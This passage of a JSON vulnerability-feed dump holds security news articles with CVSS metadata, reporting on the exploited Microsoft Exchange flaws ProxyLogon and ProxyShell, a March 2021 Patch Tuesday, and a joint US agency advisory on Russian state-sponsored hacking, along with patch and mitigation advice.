3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-03T07:28:00", "type": "thn", "title": "URGENT \u2014 4 Actively Exploited 0-Day Flaws Found in Microsoft Exchange", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-03T07:56:35", "id": "THN:9AB21B61AFE09D4EEF533179D0907C03", "href": "https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:04", "description": "[](<https://thehackernews.com/images/-LOLhcDcH4Q0/YEX4fZpKfUI/AAAAAAAAB9w/I0oQNqeVV2YmhlyC8lyvV-LztA9giv0vACLcBGAsYHQ/s0/microsoft-exchange-hacking.jpg>)\n\nMicrosoft on Friday warned of active attacks exploiting [unpatched Exchange Servers](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>) carried out by multiple threat actors, as the hacking campaign is believed to have infected tens of thousands of businesses, government entities in the U.S., Asia, and Europe.\n\nThe company [said](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) \"it continues to see increased use of these vulnerabilities in attacks targeting unpatched systems by multiple malicious actors beyond HAFNIUM,\" signaling an escalation that the breaches are no longer \"limited and targeted\" as was previously deemed.\n\nAccording to independent cybersecurity journalist [Brian Krebs](<https://krebsonsecurity.com/2021/03/at-least-30000-u-s-organizations-newly-hacked-via-holes-in-microsofts-email-software/>), at least 30,000 entities across the U.S. \u2014 mainly small businesses, towns, cities, and local governments \u2014 have been compromised by an \"unusually aggressive\" Chinese group that has set its sights on stealing emails from victim organizations by exploiting previously undisclosed flaws in Exchange Server.\n\nVictims are also being reported from outside the U.S., with email systems belonging to businesses in [Norway](<https://nsm.no/aktuelt/oppdater-microsoft-exchange-snarest>), the [Czech Republic](<https://nukib.cz/cs/infoservis/hrozby/1692-vyjadreni-k-aktualni-situaci/>) and the [Netherlands](<https://www.ncsc.nl/actueel/nieuws/2021/maart/8/40-nl-microsoft-exchange-servers-nog-steeds-kwetsbaar>) impacted in a series of hacking incidents abusing the vulnerabilities. The Norwegian National Security Authority said it has implemented a vulnerability scan of IP addresses in the country to identify vulnerable Exchange servers and \"continuously notify these companies.\"\n\nThe colossal scale of the ongoing offensive against Microsoft's email servers also eclipses the [SolarWinds hacking spree](<https://thehackernews.com/2020/12/nearly-18000-solarwinds-customers.html>) that came to light last December, which is said to have targeted as many as 18,000 customers of the IT management tools provider. But as it was with the SolarWinds hack, the attackers are likely to have only gone after high-value targets based on an initial reconnaissance of the victim machines.\n\n### Unpatched Exchange Servers at Risk of Exploitation\n\nA successful [exploitation of the flaws](<https://unit42.paloaltonetworks.com/microsoft-exchange-server-vulnerabilities/>) allows the adversaries to break into Microsoft Exchange Servers in target environments and subsequently allow the installation of unauthorized web-based backdoors to facilitate long-term access. With multiple threat actors leveraging these zero-day vulnerabilities, the post-exploitation activities are expected to differ from one group to the other based on their motives.\n\nChief among the vulnerabilities is CVE-2021-26855, also called \"ProxyLogon\" (no connection to ZeroLogon), which permits an attacker to bypass the authentication of an on-premises Microsoft Exchange Server that's able to receive untrusted connections from an external source on port 443. This is followed by the exploitation of CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 post-authentication, allowing the malicious party to gain remote access.\n\nTaiwanese cybersecurity firm Devcore, which began an internal audit of Exchange Server security in October last year, [noted in a timeline](<https://proxylogon.com/>) that it discovered both CVE-2021-26855 and CVE-2021-27065 within a 10-day period between December 10-20, 2020. After chaining these bugs into a workable pre-authentication RCE exploit, the company said it reported the issue to Microsoft on January 5, 2021, suggesting that Microsoft had almost two months to release a fix.\n\n[](<https://thehackernews.com/images/-zR_JCeV5Moo/YEX5KX2rxLI/AAAAAAAAB94/XG6lQGCnfO0ZUBwgiwv9agIbi4TfP1csACLcBGAsYHQ/s0/microsoft-exchange-hacking.jpg>)\n\nThe four security issues in question were eventually [patched by Microsoft](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>) as part of an emergency out-of-band security update last Tuesday, while warning that \"many nation-state actors and criminal groups will move quickly to take advantage of any unpatched systems.\"\n\nThe fact that Microsoft also patched Exchange Server 2010 suggests that the vulnerabilities have been lurking in the code for more than ten years.\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA), which released an [emergency directive](<https://thehackernews.com/2021/03/cisa-issues-emergency-directive-on-in.html>) warning of \"active exploitation\" of the vulnerabilities, urged government agencies running vulnerable versions of Exchange Server to either update the software or disconnect the products from their networks.\n\n\"CISA is aware of widespread domestic and international exploitation of Microsoft Exchange Server vulnerabilities and urges scanning Exchange Server logs with Microsoft's IoC detection tool to help determine compromise,\" the agency [tweeted](<https://twitter.com/USCERT_gov/status/1368216461571919877>) on March 6.\n\nIt's worth noting that merely installing the patches issued by Microsoft would have no effect on servers that have already been backdoored. Organizations that have been breached to deploy the web shell and other post-exploitation tools continue to remain at risk of future compromise until the artifacts are completely rooted out from their networks.\n\n### Multiple Clusters Spotted\n\nFireEye's Mandiant threat intelligence team [said](<https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html>) it \"observed multiple instances of abuse of Microsoft Exchange Server within at least one client environment\" since the start of the year. Cybersecurity firm Volexity, one of the firms credited with discovering the flaws, said the intrusion campaigns appeared to have started around January 6, 2021.\n\nNot much is known about the identities of the attackers, except that Microsoft has primarily attributed the exploits with high confidence to a group it calls Hafnium, a skilled government-backed group operating out of China. Mandiant is tracking the intrusion activity in three clusters, UNC2639, UNC2640, and UNC2643, adding it expects the number to increase as more attacks are detected.\n\nIn a statement to [Reuters](<https://www.reuters.com/article/us-usa-cyber-microsoft/more-than-20000-u-s-organizations-compromised-through-microsoft-flaw-source-idUSKBN2AX23U>), a Chinese government spokesman denied the country was behind the intrusions.\n\n\"There are at least five different clusters of activity that appear to be exploiting the vulnerabilities,\" [said](<https://twitter.com/redcanary/status/1368289931970322433>) Katie Nickels, director of threat intelligence at Red Canary, while noting the differences in the techniques and infrastructure from that of the Hafnium actor.\n\nIn one particular instance, the cybersecurity firm [observed](<https://twitter.com/redcanary/status/1367935292724948992>) that some of the customers compromised Exchange servers had been deployed with a crypto-mining software called [DLTminer](<https://www.carbonblack.com/blog/cb-tau-technical-analysis-dltminer-campaign-targeting-corporations-in-asia/>), a malware documented by Carbon Black in 2019.\n\n\"One possibility is that Hafnium adversaries shared or sold exploit code, resulting in other groups being able to exploit these vulnerabilities,\" Nickels said. \"Another is that adversaries could have reverse engineered the patches released by Microsoft to independently figure out how to exploit the vulnerabilities.\"\n\n### Microsoft Issues Mitigation Guidance\n\nAside from rolling out fixes, Microsoft has published new alternative mitigation guidance to help Exchange customers who need more time to patch their deployments, in addition to pushing out a new update for the Microsoft Safety Scanner (MSERT) tool to detect web shells and [releasing a script](<https://github.com/microsoft/CSS-Exchange/tree/main/Security>) for checking HAFNIUM indicators of compromise. They can be found [here](<https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/>).\n\n\"These vulnerabilities are significant and need to be taken seriously,\" Mat Gangwer, senior director of managed threat response at Sophos said. \"They allow attackers to remotely execute commands on these servers without the need for credentials, and any threat actor could potentially abuse them.\"\n\n\"The broad installation of Exchange and its exposure to the internet mean that many organizations running an on-premises Exchange server could be at risk,\" Gangwer added.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-08T10:15:00", "type": "thn", "title": "Microsoft Exchange Cyber Attack \u2014 What Do We Know So Far?", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-10T08:44:19", "id": "THN:9DB02C3E080318D681A9B33C2EFA8B73", "href": "https://thehackernews.com/2021/03/microsoft-exchange-cyber-attack-what-do.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:14", "description": "[](<https://thehackernews.com/images/-4bW5O7qDy3g/YRY939zQM4I/AAAAAAAADho/RUV3iIGj654Ml8xKhGo8MXIEWtGwsL1ywCLcBGAsYHQ/s0/ms-exchnage.jpg>)\n\nThreat actors are actively carrying out opportunistic [scanning](<https://twitter.com/bad_packets/status/1425598895569006594>) and [exploitation](<https://twitter.com/GossiTheDog/status/1425844380376735746>) of Exchange servers using a new exploit chain leveraging a trio of flaws affecting on-premises installations, making them the latest set of bugs after ProxyLogon vulnerabilities were exploited en masse at the start of the year.\n\nThe remote code execution flaws have been collectively dubbed \"ProxyShell.\" At least 30,000 machines are affected by the vulnerabilities, [according](<https://isc.sans.edu/diary/27732>) to a Shodan scan performed by Jan Kopriva of SANS Internet Storm Center.\n\n\"Started to see in the wild exploit attempts against our honeypot infrastructure for the Exchange ProxyShell vulnerabilities,\" NCC Group's Richard Warren [tweeted](<https://twitter.com/buffaloverflow/status/1425831100157349890>), noting that one of the intrusions resulted in the deployment of a \"C# aspx webshell in the /aspnet_client/ directory.\"\n\nPatched in early March 2021, [ProxyLogon](<https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/>) is the moniker for CVE-2021-26855, a server-side request forgery vulnerability in Exchange Server that permits an attacker to take control of a vulnerable server as an administrator, and which can be chained with another post-authentication arbitrary-file-write vulnerability, CVE-2021-27065, to achieve code execution.\n\nThe vulnerabilities came to light after Microsoft [spilled the beans](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>) on a Beijing-sponsored hacking operation that leveraged the weaknesses to strike entities in the U.S. for purposes of exfiltrating information in what the company described as limited and targeted attacks.\n\nSince then, the Windows maker has fixed six more flaws in its mail server component, two of which are called [ProxyOracle](<https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-2-ProxyOracle/>), which enables an adversary to recover the user's password in plaintext format.\n\nThree other issues \u2014 known as ProxyShell \u2014 could be abused to bypass ACL controls, elevate privileges on Exchange PowerShell backend, effectively authenticating the attacker and allowing for remote code execution. Microsoft noted that both CVE-2021-34473 and CVE-2021-34523 were inadvertently omitted from publication until July.\n\n**ProxyLogon:**\n\n * [**CVE-2021-26855**](<https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on March 2)\n * [**CVE-2021-26857**](<https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on March 2)\n * [**CVE-2021-26858**](<https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on March 2)\n * [**CVE-2021-27065**](<https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on March 2)\n\n**ProxyOracle:**\n\n * [**CVE-2021-31195**](<https://thehackernews.com/2021/05/latest-microsoft-windows-updates-patch.html>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on May 11)\n * [**CVE-2021-31196**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31196>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on July 13)\n\n**ProxyShell:**\n\n * [**CVE-2021-31207**](<https://thehackernews.com/2021/05/latest-microsoft-windows-updates-patch.html>) \\- Microsoft Exchange Server Security Feature Bypass Vulnerability (Patched on May 11)\n * [**CVE-2021-34473**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on April 13, advisory released on July 13)\n * [**CVE-2021-34523**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>) \\- Microsoft Exchange Server Elevation of Privilege Vulnerability (Patched on April 13, advisory released on July 13)\n\n**Other:**\n\n * [**CVE-2021-33768**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33768>) \\- Microsoft Exchange Server Elevation of Privilege Vulnerability (Patched on July 13)\n\nOriginally demonstrated at the [Pwn2Own hacking competition](<https://thehackernews.com/2021/04/windows-ubuntu-zoom-safari-ms-exchange.html>) this April, technical details of the ProxyShell attack chain were disclosed by DEVCORE researcher Orange Tsai at the [Black Hat USA 2021](<https://www.blackhat.com/us-21/briefings/schedule/index.html#proxylogon-is-just-the-tip-of-the-iceberg-a-new-attack-surface-on-microsoft-exchange-server-23442>) and [DEF CON](<https://www.youtube.com/watch?v=5mqid-7zp8k>) security conferences last week. To prevent exploitation attempts, organizations are highly recommended to install updates released by Microsoft.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-13T09:46:00", "type": "thn", "title": "Hackers Actively Searching for Unpatched Microsoft Exchange Servers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-31195", "CVE-2021-31196", "CVE-2021-31207", "CVE-2021-33768", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-13T09:46:09", "id": "THN:FA40708E1565483D14F9A31FC019FCE1", "href": "https://thehackernews.com/2021/08/hackers-actively-searching-for.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:02", "description": "[](<https://thehackernews.com/images/-B1GIJUi-Xfc/YEhXRdorEMI/AAAAAAAAB_o/0vVWsLXOqu0OjfRxUmUTUUvsoLhkTBy6QCLcBGAsYHQ/s0/windows-update-download.jpg>)\n\nMicrosoft plugged as many as [89 security flaws](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Mar>) as part of its monthly Patch Tuesday updates released today, including fixes for an actively exploited zero-day in Internet Explorer that could permit an attacker to run arbitrary code on target machines.\n\nOf these flaws, 14 are listed as Critical, and 75 are listed as Important in severity, out of which two of the bugs are described as publicly known, while five others have been reported as under active attack at the time of release.\n\nAmong those five security issues are a clutch of vulnerabilities known as [ProxyLogon](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>) (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065) that allows adversaries to break into Microsoft Exchange Servers in target environments and subsequently allow the installation of unauthorized web-based backdoors to facilitate long-term access.\n\nBut in the wake of Exchange servers coming under [indiscriminate assault](<https://thehackernews.com/2021/03/microsoft-exchange-cyber-attack-what-do.html>) toward the end of February by multiple threat groups looking to exploit the vulnerabilities and plant backdoors on corporate networks, Microsoft took the unusual step of releasing out-of-band fixes a week earlier than planned.\n\nThe ramping up of [mass exploitation](<https://krebsonsecurity.com/2021/03/warning-the-world-of-a-ticking-time-bomb/>) after Microsoft released its updates on March 2 has led the company to deploy [another series of security updates](<https://techcommunity.microsoft.com/t5/exchange-team-blog/march-2021-exchange-server-security-updates-for-older-cumulative/ba-p/2192020>) targeting [older and unsupported](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/>) cumulative updates that are vulnerable to ProxyLogon attacks.\n\nAlso included in the mix is a patch for zero-day in Internet Explorer (CVE-2021-26411) that was discovered as exploited by North Korean hackers to [compromise security researchers](<https://thehackernews.com/2021/01/n-korean-hackers-targeting-security.html>) working on vulnerability research and development earlier this year.\n\nSouth Korean cybersecurity firm ENKI, which publicly [disclosed](<https://thehackernews.com/2021/02/new-chrome-browser-0-day-under-active.html>) the flaw early last month, claimed that North Korean nation-state hackers made an unsuccessful attempt at targeting its security researchers with malicious MHTML files that, when opened, downloaded two payloads from a remote server, one of which contained a zero-day against Internet Explorer.\n\nAside from these actively exploited vulnerabilities, the update also corrects a number of remote code execution (RCE) flaws in Windows DNS Server (CVE-2021-26877 and CVE-2021-26897, CVSS scores 9.8), Hyper-V server (CVE-2021-26867, CVSS score 9.9), SharePoint Server (CVE-2021-27076, CVSS score 8.8), and Azure Sphere (CVE-2021-27080, CVSS score 9.3).\n\nCVE-2021-26877 and CVE-2021-26897 are notable for a couple of reasons. First off, the flaws are rated as \"exploitation more likely\" by Microsoft, and are categorized as zero-click vulnerabilities of low attack complexity that require no user interaction.\n\nAccording to [McAfee](<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/seven-windows-wonders-critical-vulnerabilities-in-dns-dynamic-updates/>), the vulnerabilities stem from an out of bounds read (CVE-2021-26877) and out of bounds write (CVE-2021-26897) on the heap, respectively, during the processing of [Dynamic Update](<https://docs.microsoft.com/en-us/troubleshoot/windows-server/networking/configure-dns-dynamic-updates-windows-server-2003>) packets, resulting in potential arbitrary reads and RCE.\n\nFurthermore, this is also the second time in a row that Microsoft has addressed a critical RCE flaw in Windows DNS Server. Last month, the company rolled out a fix for [CVE-2021-24078](<https://thehackernews.com/2021/02/microsoft-issues-patches-for-in-wild-0.html>) in the same component which, if unpatched, could permit an unauthorized party to execute arbitrary code and potentially redirect legitimate traffic to malicious servers.\n\nTo install the latest security updates, Windows users can head to Start > Settings > Update & Security > Windows Update, or by selecting Check for Windows updates.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-10T05:37:00", "type": "thn", "title": "Microsoft Issues Security Patches for 89 Flaws \u2014 IE 0-Day Under Active Attacks", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24078", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-26867", "CVE-2021-26877", "CVE-2021-26897", "CVE-2021-27065", "CVE-2021-27076", "CVE-2021-27080"], "modified": "2021-08-13T09:07:37", "id": "THN:BC8A83422D35DB5610358702FCB4D154", "href": "https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:44", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEivOb0--JbZm0DKk17OtegvDf0JMgVq1rnkokni7RLCsqEBf17tLvxhVDjVCC8yZeN6jpVJCkJlb3GTbW4f29ZlHKK9dZKnxCnVgFaE0N7nhOJe9r3HRvLR-reRBzNHAdx6aUoQDU5yI90E1LqRdEM3guLQQv95JsKCUSy1ZAoTckx4Q4_Vb6CxtXGe>)\n\nAmid renewed tensions between the U.S. and Russia over [Ukraine](<https://apnews.com/article/joe-biden-europe-russia-ukraine-geneva-090d1bd24f7ced8ab84907a9ed031878>) and [Kazakhstan](<https://thehill.com/policy/international/588860-tensions-between-us-russia-rise-over-military-involvement-in-kazakhstan>), American cybersecurity and intelligence agencies on Tuesday released a joint advisory on how to detect, respond to, and mitigate cyberattacks orchestrated by Russian state-sponsored actors.\n\nTo that end, the Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), and National Security Agency (NSA) have laid bare the tactics, techniques, and procedures (TTPs) adopted by the adversaries, including spear-phishing, brute-force, and [exploiting known vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) to gain initial access to target networks.\n\nThe list of flaws exploited by Russian hacking groups to gain an initial foothold, which the agencies said are \"common but effective,\" are below \u2014\n\n * [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) (FortiGate VPNs)\n * [CVE-2019-1653](<https://nvd.nist.gov/vuln/detail/CVE-2019-1653>) (Cisco router)\n * [CVE-2019-2725](<https://nvd.nist.gov/vuln/detail/CVE-2019-2725>) (Oracle WebLogic Server)\n * [CVE-2019-7609](<https://nvd.nist.gov/vuln/detail/CVE-2019-7609>) (Kibana)\n * [CVE-2019-9670](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>) (Zimbra software)\n * [CVE-2019-10149](<https://nvd.nist.gov/vuln/detail/CVE-2019-10149>) (Exim Simple Mail Transfer Protocol)\n * [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) (Pulse Secure)\n * [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) (Citrix)\n * [CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>) (Microsoft Exchange)\n * [CVE-2020-4006](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>) (VMWare)\n * [CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>) (F5 Big-IP)\n * [CVE-2020-14882](<https://nvd.nist.gov/vuln/detail/CVE-2020-14882>) (Oracle WebLogic)\n * [CVE-2021-26855](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>) (Microsoft Exchange, exploited frequently alongside [CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>), [CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>), and [CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>))\n\n\"Russian state-sponsored APT actors have also demonstrated sophisticated tradecraft and cyber capabilities by compromising third-party infrastructure, compromising third-party software, or developing and deploying custom malware,\" the agencies [said](<https://www.cisa.gov/uscert/ncas/current-activity/2022/01/11/cisa-fbi-and-nsa-release-cybersecurity-advisory-russian-cyber>).\n\n\"The actors have also demonstrated the ability to maintain persistent, undetected, long-term access in compromised environments \u2014 including cloud environments \u2014 by using legitimate credentials.\"\n\nRussian APT groups have been historically observed setting their sights on operational technology (OT) and industrial control systems (ICS) with the goal of deploying destructive malware, chief among them being the intrusion campaigns against Ukraine and the U.S. energy sector as well as attacks exploiting trojanized [SolarWinds Orion updates](<https://thehackernews.com/2021/12/solarwinds-hackers-targeting-government.html>) to breach the networks of U.S. government agencies.\n\nTo increase cyber resilience against this threat, the agencies recommend mandating multi-factor authentication for all users, looking out for signs of abnormal activity implying lateral movement, enforcing network segmentation, and keeping operating systems, applications, and firmware up to date.\n\n\"Consider using a centralized patch management system,\" the advisory reads. \"For OT networks, use a risk-based assessment strategy to determine the OT network assets and zones that should participate in the patch management program.\"\n\nOther recommended best practices are as follows \u2014\n\n * Implement robust log collection and retention\n * Require accounts to have strong passwords\n * Enable strong spam filters to prevent phishing emails from reaching end-users\n * Implement rigorous configuration management programs\n * Disable all unnecessary ports and protocols\n * Ensure OT hardware is in read-only mode\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-12T09:14:00", "type": "thn", "title": "FBI, NSA and CISA Warns of Russian Hackers Targeting Critical Infrastructure", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-10149", "CVE-2019-11510", "CVE-2019-1653", "CVE-2019-19781", "CVE-2019-2725", "CVE-2019-7609", "CVE-2019-9670", "CVE-2020-0688", "CVE-2020-14882", "CVE-2020-4006", "CVE-2020-5902", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2022-01-12T10:47:49", "id": "THN:3E9680853FA3A677106A8ED8B7AACBE6", "href": "https://thehackernews.com/2022/01/fbi-nsa-and-cisa-warns-of-russian.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:17", "description": "[](<https://thehackernews.com/images/-_sUoUckANJU/YQJlBsicySI/AAAAAAAADX0/BEDLvJhwqzYImk1o5ewZhnKeXxnoL0D0wCLcBGAsYHQ/s0/Security-Vulnerabilities.jpg>)\n\nIntelligence agencies in Australia, the U.K., and the U.S. issued a joint advisory on Wednesday detailing the most exploited vulnerabilities in 2020 and 2021, once again demonstrating how threat actors are able to swiftly weaponize publicly disclosed flaws to their advantage.\n\n\"Cyber actors continue to exploit publicly known\u2014and often dated\u2014software vulnerabilities against broad target sets, including public and private sector organizations worldwide,\" the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the Australian Cyber Security Centre (ACSC), the United Kingdom's National Cyber Security Centre (NCSC), and the U.S. Federal Bureau of Investigation (FBI) [noted](<https://us-cert.cisa.gov/ncas/alerts/aa21-209a>).\n\n\"However, entities worldwide can mitigate the vulnerabilities listed in this report by applying the available patches to their systems and implementing a centralized patch management system.\"\n\nThe top 30 vulnerabilities span a wide range of 